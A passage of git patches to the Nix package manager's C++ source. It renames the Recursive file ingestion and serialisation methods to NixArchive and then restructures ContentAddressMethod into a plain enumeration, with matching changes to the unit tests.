LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, || (repair && hash != ({ hashPath( PosixSourceAccessor::createAtRoot(linkPath), - FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first; + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first; }))) { // XXX: Consider overwriting linkPath with our valid version. diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index d6efc14f9..9adad9c2a 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -406,8 +406,8 @@ ref RemoteStore::addCAToStore( conn->to << WorkerProto::Op::AddToStore << name - << ((hashAlgo == HashAlgorithm::SHA256 && fim == FileIngestionMethod::Recursive) ? 0 : 1) /* backwards compatibility hack */ - << (fim == FileIngestionMethod::Recursive ? 1 : 0) + << ((hashAlgo == HashAlgorithm::SHA256 && fim == FileIngestionMethod::NixArchive) ? 0 : 1) /* backwards compatibility hack */ + << (fim == FileIngestionMethod::NixArchive ? 1 : 0) << printHashAlgo(hashAlgo); try { @@ -415,7 +415,7 @@ ref RemoteStore::addCAToStore( connections->incCapacity(); { Finally cleanup([&]() { connections->decCapacity(); }); - if (fim == FileIngestionMethod::Recursive) { + if (fim == FileIngestionMethod::NixArchive) { dump.drainInto(conn->to); } else { std::string contents = dump.drain(); @@ -457,12 +457,12 @@ StorePath RemoteStore::addToStoreFromDump( case FileIngestionMethod::Flat: fsm = FileSerialisationMethod::Flat; break; - case FileIngestionMethod::Recursive: - fsm = FileSerialisationMethod::Recursive; + case FileIngestionMethod::NixArchive: + fsm = FileSerialisationMethod::NixArchive; break; case FileIngestionMethod::Git: // Use NAR; Git is not a serialization method - fsm = FileSerialisationMethod::Recursive; + fsm = FileSerialisationMethod::NixArchive; break; default: assert(false); diff --git a/src/libstore/remote-store.hh b/src/libstore/remote-store.hh index d630adc08..4e1896268 100644 --- a/src/libstore/remote-store.hh +++ b/src/libstore/remote-store.hh @@ -87,8 +87,8 @@ public: StorePath addToStoreFromDump( Source & dump, std::string_view name, - FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive, - ContentAddressMethod hashMethod = FileIngestionMethod::Recursive, + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) override; diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 2edb56510..8c957ff1a 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -122,7 +122,7 @@ StorePath StoreDirConfig::makeFixedOutputPath(std::string_view name, const Fixed if (info.method == FileIngestionMethod::Git && info.hash.algo != HashAlgorithm::SHA1) throw Error("Git file ingestion must use SHA-1 hash"); - if (info.hash.algo == HashAlgorithm::SHA256 && info.method == FileIngestionMethod::Recursive) { + if (info.hash.algo == HashAlgorithm::SHA256 && info.method == FileIngestionMethod::NixArchive) { return makeStorePath(makeType(*this, "source", info.references), info.hash, name); } else { if (!info.references.empty()) { @@ -200,12 +200,12 @@ StorePath Store::addToStore( case FileIngestionMethod::Flat: fsm = FileSerialisationMethod::Flat; break; - case FileIngestionMethod::Recursive: - fsm = FileSerialisationMethod::Recursive; + case FileIngestionMethod::NixArchive: + fsm = FileSerialisationMethod::NixArchive; break; case FileIngestionMethod::Git: // Use NAR; Git is not a serialization method - fsm = FileSerialisationMethod::Recursive; + fsm = FileSerialisationMethod::NixArchive; break; } auto source = sinkToSource([&](Sink & sink) { @@ -356,7 +356,7 @@ ValidPathInfo Store::addToStoreSlow( RegularFileSink fileSink { caHashSink }; TeeSink unusualHashTee { narHashSink, caHashSink }; - auto & narSink = method == FileIngestionMethod::Recursive && hashAlgo != HashAlgorithm::SHA256 + auto & narSink = method == FileIngestionMethod::NixArchive && hashAlgo != HashAlgorithm::SHA256 ? static_cast(unusualHashTee) : narHashSink; @@ -384,7 +384,7 @@ ValidPathInfo Store::addToStoreSlow( finish. */ auto [narHash, narSize] = narHashSink.finish(); - auto hash = method == FileIngestionMethod::Recursive && hashAlgo == HashAlgorithm::SHA256 + auto hash = method == FileIngestionMethod::NixArchive && hashAlgo == HashAlgorithm::SHA256 ? narHash : method == FileIngestionMethod::Git ? git::dumpHash(hashAlgo, srcPath).hash diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index 15712458c..e719f9bf9 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -441,7 +441,7 @@ public: virtual StorePath addToStore( std::string_view name, const SourcePath & path, - ContentAddressMethod method = FileIngestionMethod::Recursive, + ContentAddressMethod method = FileIngestionMethod::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), PathFilter & filter = defaultPathFilter, @@ -455,7 +455,7 @@ public: ValidPathInfo addToStoreSlow( std::string_view name, const SourcePath & path, - ContentAddressMethod method = FileIngestionMethod::Recursive, + ContentAddressMethod method = FileIngestionMethod::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), std::optional expectedCAHash = {}); @@ -470,7 +470,7 @@ public: * * @param dumpMethod What serialisation format is `dump`, i.e. how * to deserialize it. Must either match hashMethod or be - * `FileSerialisationMethod::Recursive`. + * `FileSerialisationMethod::NixArchive`. * * @param hashMethod How content addressing? Need not match be the * same as `dumpMethod`. @@ -480,8 +480,8 @@ public: virtual StorePath addToStoreFromDump( Source & dump, std::string_view name, - FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive, - ContentAddressMethod hashMethod = FileIngestionMethod::Recursive, + FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive, + ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), RepairFlag repair = NoRepair) = 0; diff --git a/src/libstore/store-dir-config.hh b/src/libstore/store-dir-config.hh index 643f8854d..fe86ce40d 100644 --- a/src/libstore/store-dir-config.hh +++ b/src/libstore/store-dir-config.hh @@ -97,7 +97,7 @@ struct StoreDirConfig : public Config std::pair computeStorePath( std::string_view name, const SourcePath & path, - ContentAddressMethod method = FileIngestionMethod::Recursive, + ContentAddressMethod method = FileIngestionMethod::NixArchive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = {}, PathFilter & filter = defaultPathFilter) const; diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 95df0fdee..ab461d428 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -2489,7 +2489,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() auto fim = outputHash.method.getFileIngestionMethod(); switch (fim) { case FileIngestionMethod::Flat: - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: { HashModuloSink caSink { outputHash.hashAlgo, oldHashPart }; auto fim = outputHash.method.getFileIngestionMethod(); @@ -2531,7 +2531,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() { HashResult narHashAndSize = hashPath( {getFSSourceAccessor(), CanonPath(actualPath)}, - FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); newInfo0.narHash = narHashAndSize.first; newInfo0.narSize = narHashAndSize.second; } @@ -2554,7 +2554,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() rewriteOutput(outputRewrites); HashResult narHashAndSize = hashPath( {getFSSourceAccessor(), CanonPath(actualPath)}, - FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first }; newInfo0.narSize = narHashAndSize.second; auto refs = rewriteRefs(); diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc index 8b1e3117a..438dac7da 100644 --- a/src/libutil/file-content-address.cc +++ b/src/libutil/file-content-address.cc @@ -10,7 +10,7 @@ static std::optional parseFileSerialisationMethodOpt(st if (input == "flat") { return FileSerialisationMethod::Flat; } else if (input == "nar") { - return FileSerialisationMethod::Recursive; + return FileSerialisationMethod::NixArchive; } else { return std::nullopt; } @@ -45,7 +45,7 @@ std::string_view renderFileSerialisationMethod(FileSerialisationMethod method) switch (method) { case FileSerialisationMethod::Flat: return "flat"; - case FileSerialisationMethod::Recursive: + case FileSerialisationMethod::NixArchive: return "nar"; default: assert(false); @@ -57,7 +57,7 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method) { switch (method) { case FileIngestionMethod::Flat: - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: return renderFileSerialisationMethod( static_cast(method)); case FileIngestionMethod::Git: @@ -78,7 +78,7 @@ void dumpPath( case FileSerialisationMethod::Flat: path.readFile(sink); break; - case FileSerialisationMethod::Recursive: + case FileSerialisationMethod::NixArchive: path.dumpPath(sink, filter); break; } @@ -94,7 +94,7 @@ void restorePath( case FileSerialisationMethod::Flat: writeFile(path, source); break; - case FileSerialisationMethod::Recursive: + case FileSerialisationMethod::NixArchive: restorePath(path, source); break; } @@ -119,7 +119,7 @@ std::pair> hashPath( { switch (method) { case FileIngestionMethod::Flat: - case FileIngestionMethod::Recursive: { + case FileIngestionMethod::NixArchive: { auto res = hashPath(path, (FileSerialisationMethod) method, ht, filter); return {res.first, {res.second}}; } diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh index e216ee4a7..f3f5589de 100644 --- a/src/libutil/file-content-address.hh +++ b/src/libutil/file-content-address.hh @@ -35,14 +35,14 @@ enum struct FileSerialisationMethod : uint8_t { * See `file-system-object/content-address.md#serial-nix-archive` in * the manual. */ - Recursive, + NixArchive, }; /** * Parse a `FileSerialisationMethod` by name. Choice of: * * - `flat`: `FileSerialisationMethod::Flat` - * - `nar`: `FileSerialisationMethod::Recursive` + * - `nar`: `FileSerialisationMethod::NixArchive` * * Opposite of `renderFileSerialisationMethod`. */ @@ -107,12 +107,12 @@ enum struct FileIngestionMethod : uint8_t { Flat, /** - * Hash `FileSerialisationMethod::Recursive` serialisation. + * Hash `FileSerialisationMethod::NixArchive` serialisation. * * See `file-system-object/content-address.md#serial-flat` in the * manual. */ - Recursive, + NixArchive, /** * Git hashing. @@ -127,7 +127,7 @@ enum struct FileIngestionMethod : uint8_t { * Parse a `FileIngestionMethod` by name. Choice of: * * - `flat`: `FileIngestionMethod::Flat` - * - `nar`: `FileIngestionMethod::Recursive` + * - `nar`: `FileIngestionMethod::NixArchive` * - `git`: `FileIngestionMethod::Git` * * Opposite of `renderFileIngestionMethod`. diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index 6d028e0a7..178702f91 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -197,7 +197,7 @@ static void opAddFixed(Strings opFlags, Strings opArgs) auto method = FileIngestionMethod::Flat; for (auto & i : opFlags) - if (i == "--recursive") method = FileIngestionMethod::Recursive; + if (i == "--recursive") method = FileIngestionMethod::NixArchive; else throw UsageError("unknown flag '%1%'", i); if (opArgs.empty()) @@ -223,7 +223,7 @@ static void opPrintFixedPath(Strings opFlags, Strings opArgs) auto method = FileIngestionMethod::Flat; for (auto i : opFlags) - if (i == "--recursive") method = FileIngestionMethod::Recursive; + if (i == "--recursive") method = FileIngestionMethod::NixArchive; else throw UsageError("unknown flag '%1%'", i); if (opArgs.size() != 3) @@ -563,7 +563,7 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) if (!hashGiven) { HashResult hash = hashPath( {store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) }}, - FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); + FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256); info->narHash = hash.first; info->narSize = hash.second; } diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc index af6743375..ed46254f3 100644 --- a/src/nix/add-to-store.cc +++ b/src/nix/add-to-store.cc @@ -12,7 +12,7 @@ struct CmdAddToStore : MixDryRun, StoreCommand { Path path; std::optional namePart; - ContentAddressMethod caMethod = FileIngestionMethod::Recursive; + ContentAddressMethod caMethod = FileIngestionMethod::NixArchive; HashAlgorithm hashAlgo = HashAlgorithm::SHA256; CmdAddToStore() diff --git a/src/nix/hash.cc b/src/nix/hash.cc index f57b224d2..62266fda1 100644 --- a/src/nix/hash.cc +++ b/src/nix/hash.cc @@ -68,7 +68,7 @@ struct CmdHashBase : Command switch (mode) { case FileIngestionMethod::Flat: return "print cryptographic hash of a regular file"; - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: return "print cryptographic hash of the NAR serialisation of a path"; case FileIngestionMethod::Git: return "print cryptographic hash of the Git serialisation of a path"; @@ -91,7 +91,7 @@ struct CmdHashBase : Command Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++ switch (mode) { case FileIngestionMethod::Flat: - case FileIngestionMethod::Recursive: + case FileIngestionMethod::NixArchive: { auto hashSink = makeSink(); dumpPath(path2, *hashSink, (FileSerialisationMethod) mode); @@ -126,7 +126,7 @@ struct CmdHashBase : Command struct CmdHashPath : CmdHashBase { CmdHashPath() - : CmdHashBase(FileIngestionMethod::Recursive) + : CmdHashBase(FileIngestionMethod::NixArchive) { addFlag(flag::hashAlgo("algo", &hashAlgo)); addFlag(flag::fileIngestionMethod(&mode)); @@ -311,7 +311,7 @@ static int compatNixHash(int argc, char * * argv) }); if (op == opHash) { - CmdHashBase cmd(flat ? FileIngestionMethod::Flat : FileIngestionMethod::Recursive); + CmdHashBase cmd(flat ? FileIngestionMethod::Flat : FileIngestionMethod::NixArchive); if (!hashAlgo.has_value()) hashAlgo = HashAlgorithm::MD5; cmd.hashAlgo = hashAlgo.value(); cmd.hashFormat = hashFormat; diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index 3ce52acc5..143935572 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -57,7 +57,7 @@ std::tuple prefetchFile( bool unpack, bool executable) { - auto ingestionMethod = unpack || executable ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat; + auto ingestionMethod = unpack || executable ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat; /* Figure out a name in the Nix store. */ if (!name) { diff --git a/src/nix/profile.cc b/src/nix/profile.cc index a5a40e4f6..c89b8c9bd 100644 --- a/src/nix/profile.cc +++ b/src/nix/profile.cc @@ -258,7 +258,7 @@ struct ProfileManifest *store, "profile", FixedOutputInfo { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = narHash, .references = { .others = std::move(references), diff --git a/src/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs index 15eb5c4f8..e8e209d97 100644 --- a/src/perl/lib/Nix/Store.xs +++ b/src/perl/lib/Nix/Store.xs @@ -259,7 +259,7 @@ hashPath(char * algo, int base32, char * path) try { Hash h = hashPath( PosixSourceAccessor::createAtRoot(path), - FileIngestionMethod::Recursive, parseHashAlgo(algo)).first; + FileIngestionMethod::NixArchive, parseHashAlgo(algo)).first; auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); } catch (Error & e) { @@ -335,7 +335,7 @@ SV * StoreWrapper::addToStore(char * srcPath, int recursive, char * algo) PPCODE: try { - auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat; + auto method = recursive ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat; auto path = THIS->store->addToStore( std::string(baseNameOf(srcPath)), PosixSourceAccessor::createAtRoot(srcPath), @@ -351,7 +351,7 @@ StoreWrapper::makeFixedOutputPath(int recursive, char * algo, char * hash, char PPCODE: try { auto h = Hash::parseAny(hash, parseHashAlgo(algo)); - auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat; + auto method = recursive ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat; auto path = THIS->store->makeFixedOutputPath(name, FixedOutputInfo { .method = method, .hash = h, diff --git a/tests/unit/libstore/common-protocol.cc b/tests/unit/libstore/common-protocol.cc index d23805fc3..2c629b601 100644 --- a/tests/unit/libstore/common-protocol.cc +++ b/tests/unit/libstore/common-protocol.cc @@ -91,7 +91,7 @@ CHARACTERIZATION_TEST( .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, ContentAddress { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, })) diff --git a/tests/unit/libstore/content-address.cc b/tests/unit/libstore/content-address.cc index cc1c7fcc6..f0806bd9a 100644 --- a/tests/unit/libstore/content-address.cc +++ b/tests/unit/libstore/content-address.cc @@ -12,7 +12,7 @@ TEST(ContentAddressMethod, testRoundTripPrintParse_1) { for (const ContentAddressMethod & cam : { ContentAddressMethod { TextIngestionMethod {} }, ContentAddressMethod { FileIngestionMethod::Flat }, - ContentAddressMethod { FileIngestionMethod::Recursive }, + ContentAddressMethod { FileIngestionMethod::NixArchive }, ContentAddressMethod { FileIngestionMethod::Git }, }) { EXPECT_EQ(ContentAddressMethod::parse(cam.render()), cam); diff --git a/tests/unit/libstore/derivation.cc b/tests/unit/libstore/derivation.cc index 7a4b1403a..210813137 100644 --- a/tests/unit/libstore/derivation.cc +++ b/tests/unit/libstore/derivation.cc @@ -117,7 +117,7 @@ TEST_JSON(DerivationTest, caFixedFlat, TEST_JSON(DerivationTest, caFixedNAR, (DerivationOutput::CAFixed { .ca = { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="), }, }), @@ -133,7 +133,7 @@ TEST_JSON(DynDerivationTest, caFixedText, TEST_JSON(CaDerivationTest, caFloating, (DerivationOutput::CAFloating { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hashAlgo = HashAlgorithm::SHA256, }), "drv-name", "output-name") @@ -144,7 +144,7 @@ TEST_JSON(DerivationTest, deferred, TEST_JSON(ImpureDerivationTest, impure, (DerivationOutput::Impure { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hashAlgo = HashAlgorithm::SHA256, }), "drv-name", "output-name") diff --git a/tests/unit/libstore/nar-info.cc b/tests/unit/libstore/nar-info.cc index bd10602e7..a6cb62de4 100644 --- a/tests/unit/libstore/nar-info.cc +++ b/tests/unit/libstore/nar-info.cc @@ -25,7 +25,7 @@ static NarInfo makeNarInfo(const Store & store, bool includeImpureInfo) { store, "foo", FixedOutputInfo { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), .references = { diff --git a/tests/unit/libstore/path-info.cc b/tests/unit/libstore/path-info.cc index 06c662b74..7637cb366 100644 --- a/tests/unit/libstore/path-info.cc +++ b/tests/unit/libstore/path-info.cc @@ -32,7 +32,7 @@ static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo store, "foo", FixedOutputInfo { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), .references = { diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc index ebf0c52b0..17d7153bb 100644 --- a/tests/unit/libstore/serve-protocol.cc +++ b/tests/unit/libstore/serve-protocol.cc @@ -63,7 +63,7 @@ VERSIONED_CHARACTERIZATION_TEST( .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, ContentAddress { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, })) @@ -280,7 +280,7 @@ VERSIONED_CHARACTERIZATION_TEST( *LibStoreTest::store, "foo", FixedOutputInfo { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), .references = { .others = { diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc index 70e03a8ab..8d81717c9 100644 --- a/tests/unit/libstore/worker-protocol.cc +++ b/tests/unit/libstore/worker-protocol.cc @@ -64,7 +64,7 @@ VERSIONED_CHARACTERIZATION_TEST( .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, ContentAddress { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), }, })) @@ -512,7 +512,7 @@ VERSIONED_CHARACTERIZATION_TEST( *LibStoreTest::store, "foo", FixedOutputInfo { - .method = FileIngestionMethod::Recursive, + .method = FileIngestionMethod::NixArchive, .hash = hashString(HashAlgorithm::SHA256, "(...)"), .references = { .others = { diff --git a/tests/unit/libutil/file-content-address.cc b/tests/unit/libutil/file-content-address.cc index 294e39806..27d926a87 100644 --- a/tests/unit/libutil/file-content-address.cc +++ b/tests/unit/libutil/file-content-address.cc @@ -11,7 +11,7 @@ namespace nix { TEST(FileSerialisationMethod, testRoundTripPrintParse_1) { for (const FileSerialisationMethod fim : { FileSerialisationMethod::Flat, - FileSerialisationMethod::Recursive, + FileSerialisationMethod::NixArchive, }) { EXPECT_EQ(parseFileSerialisationMethod(renderFileSerialisationMethod(fim)), fim); } @@ -37,7 +37,7 @@ TEST(FileSerialisationMethod, testParseFileSerialisationMethodOptException) { TEST(FileIngestionMethod, testRoundTripPrintParse_1) { for (const FileIngestionMethod fim : { FileIngestionMethod::Flat, - FileIngestionMethod::Recursive, + FileIngestionMethod::NixArchive, FileIngestionMethod::Git, }) { EXPECT_EQ(parseFileIngestionMethod(renderFileIngestionMethod(fim)), fim); From b51e161af57e92691b9d74413e24050ddf9ed2c5 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 16 May 2024 19:08:28 -0400 Subject: [PATCH 0876/1251] Cleanup `ContentAddressMethod` to match docs The old `std::variant` is bad because we aren't adding a new case to `FileIngestionMethod` so much as we are defining a separate concept --- store object content addressing rather than file system object content addressing. As such, it is more correct to just create a fresh enumeration. Co-authored-by: Robert Hensing --- src/libexpr/eval.cc | 2 +- src/libexpr/primops.cc | 22 +-- src/libfetchers/fetch-to-store.hh | 2 +- src/libfetchers/mercurial.cc | 2 +- src/libstore/content-address.cc | 217 +++++++++++++++---------- src/libstore/content-address.hh | 76 +++++---- src/libstore/daemon.cc | 12 +- src/libstore/derivations.cc | 6 +- src/libstore/local-store.cc | 2 +- src/libstore/path-info.cc | 32 ++-- src/libstore/remote-store.cc | 19 ++- src/libstore/store-api.cc | 6 +- src/libstore/store-api.hh | 6 +- src/libutil/file-content-address.hh | 2 + src/nix-env/user-env.cc | 2 +- src/nix-store/nix-store.cc | 4 +- src/nix/add-to-store.cc | 4 +- src/nix/develop.cc | 2 +- src/nix/prefetch.cc | 15 +- src/perl/lib/Nix/Store.xs | 2 +- tests/unit/libstore/common-protocol.cc | 8 +- tests/unit/libstore/content-address.cc | 10 +- tests/unit/libstore/derivation.cc | 9 +- tests/unit/libstore/serve-protocol.cc | 8 +- tests/unit/libstore/worker-protocol.cc | 8 +- 25 files changed, 275 insertions(+), 203 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index fc211e694..0c45a7436 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2303,7 +2303,7 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat path.resolveSymlinks(), settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy, path.baseName(), - FileIngestionMethod::NixArchive, + ContentAddressMethod::Raw::NixArchive, nullptr, repair); allowPath(dstPath); diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 02b970112..8a71359de 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1209,7 +1209,7 @@ static void derivationStrictInternal( auto handleHashMode = [&](const std::string_view s) { if (s == "recursive") { // back compat, new name is "nar" - ingestionMethod = FileIngestionMethod::NixArchive; + ingestionMethod = ContentAddressMethod::Raw::NixArchive; } else try { ingestionMethod = ContentAddressMethod::parse(s); } catch (UsageError &) { @@ -1217,9 +1217,9 @@ static void derivationStrictInternal( "invalid value '%s' for 'outputHashMode' attribute", s ).atPos(v).debugThrow(); } - if (ingestionMethod == TextIngestionMethod {}) + if (ingestionMethod == ContentAddressMethod::Raw::Text) experimentalFeatureSettings.require(Xp::DynamicDerivations); - if (ingestionMethod == FileIngestionMethod::Git) + if (ingestionMethod == ContentAddressMethod::Raw::Git) experimentalFeatureSettings.require(Xp::GitHashing); }; @@ -1391,7 +1391,7 @@ static void derivationStrictInternal( /* Check whether the derivation name is valid. */ if (isDerivation(drvName) && - !(ingestionMethod == ContentAddressMethod { TextIngestionMethod { } } && + !(ingestionMethod == ContentAddressMethod::Raw::Text && outputs.size() == 1 && *(outputs.begin()) == "out")) { @@ -1413,7 +1413,7 @@ static void derivationStrictInternal( auto h = newHashAllowEmpty(*outputHash, outputHashAlgo); - auto method = ingestionMethod.value_or(FileIngestionMethod::Flat); + auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::Flat); DerivationOutput::CAFixed dof { .ca = ContentAddress { @@ -1432,7 +1432,7 @@ static void derivationStrictInternal( .atPos(v).debugThrow(); auto ha = outputHashAlgo.value_or(HashAlgorithm::SHA256); - auto method = ingestionMethod.value_or(FileIngestionMethod::NixArchive); + auto method = ingestionMethod.value_or(ContentAddressMethod::Raw::NixArchive); for (auto & i : outputs) { drv.env[i] = hashPlaceholder(i); @@ -2208,7 +2208,7 @@ static void prim_toFile(EvalState & state, const PosIdx pos, Value * * args, Val }) : ({ StringSource s { contents }; - state.store->addToStoreFromDump(s, name, FileSerialisationMethod::Flat, TextIngestionMethod {}, HashAlgorithm::SHA256, refs, state.repair); + state.store->addToStoreFromDump(s, name, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, state.repair); }); /* Note: we don't need to add `context' to the context of the @@ -2391,7 +2391,7 @@ static void prim_filterSource(EvalState & state, const PosIdx pos, Value * * arg "while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'"); state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.filterSource"); - addPath(state, pos, path.baseName(), path, args[0], FileIngestionMethod::NixArchive, std::nullopt, v, context); + addPath(state, pos, path.baseName(), path, args[0], ContentAddressMethod::Raw::NixArchive, std::nullopt, v, context); } static RegisterPrimOp primop_filterSource({ @@ -2454,7 +2454,7 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value std::optional path; std::string name; Value * filterFun = nullptr; - ContentAddressMethod method = FileIngestionMethod::NixArchive; + auto method = ContentAddressMethod::Raw::NixArchive; std::optional expectedHash; NixStringContext context; @@ -2470,8 +2470,8 @@ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path"); else if (n == "recursive") method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") - ? FileIngestionMethod::NixArchive - : FileIngestionMethod::Flat; + ? ContentAddressMethod::Raw::NixArchive + : ContentAddressMethod::Raw::Flat; else if (n == "sha256") expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256); else diff --git a/src/libfetchers/fetch-to-store.hh b/src/libfetchers/fetch-to-store.hh index 95d1e6b01..c762629f3 100644 --- a/src/libfetchers/fetch-to-store.hh +++ b/src/libfetchers/fetch-to-store.hh @@ -18,7 +18,7 @@ StorePath fetchToStore( const SourcePath & path, FetchMode mode, std::string_view name = "source", - ContentAddressMethod method = FileIngestionMethod::NixArchive, + ContentAddressMethod method = ContentAddressMethod::Raw::NixArchive, PathFilter * filter = nullptr, RepairFlag repair = NoRepair); diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc index 4b80cbe9b..198795caa 100644 --- a/src/libfetchers/mercurial.cc +++ b/src/libfetchers/mercurial.cc @@ -213,7 +213,7 @@ struct MercurialInputScheme : InputScheme auto storePath = store->addToStore( input.getName(), {getFSSourceAccessor(), CanonPath(actualPath)}, - FileIngestionMethod::NixArchive, HashAlgorithm::SHA256, {}, + ContentAddressMethod::Raw::NixArchive, HashAlgorithm::SHA256, {}, filter); return storePath; diff --git a/src/libstore/content-address.cc b/src/libstore/content-address.cc index fa06c4aa3..e1cdfece6 100644 --- a/src/libstore/content-address.cc +++ b/src/libstore/content-address.cc @@ -8,6 +8,7 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m) { switch (m) { case FileIngestionMethod::Flat: + // Not prefixed for back compat return ""; case FileIngestionMethod::NixArchive: return "r:"; @@ -15,91 +16,128 @@ std::string_view makeFileIngestionPrefix(FileIngestionMethod m) experimentalFeatureSettings.require(Xp::GitHashing); return "git:"; default: - throw Error("impossible, caught both cases"); + assert(false); } } std::string_view ContentAddressMethod::render() const { - return std::visit(overloaded { - [](TextIngestionMethod) -> std::string_view { return "text"; }, - [](FileIngestionMethod m2) { - /* Not prefixed for back compat with things that couldn't produce text before. */ - return renderFileIngestionMethod(m2); - }, - }, raw); + switch (raw) { + case ContentAddressMethod::Raw::Text: + return "text"; + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + return 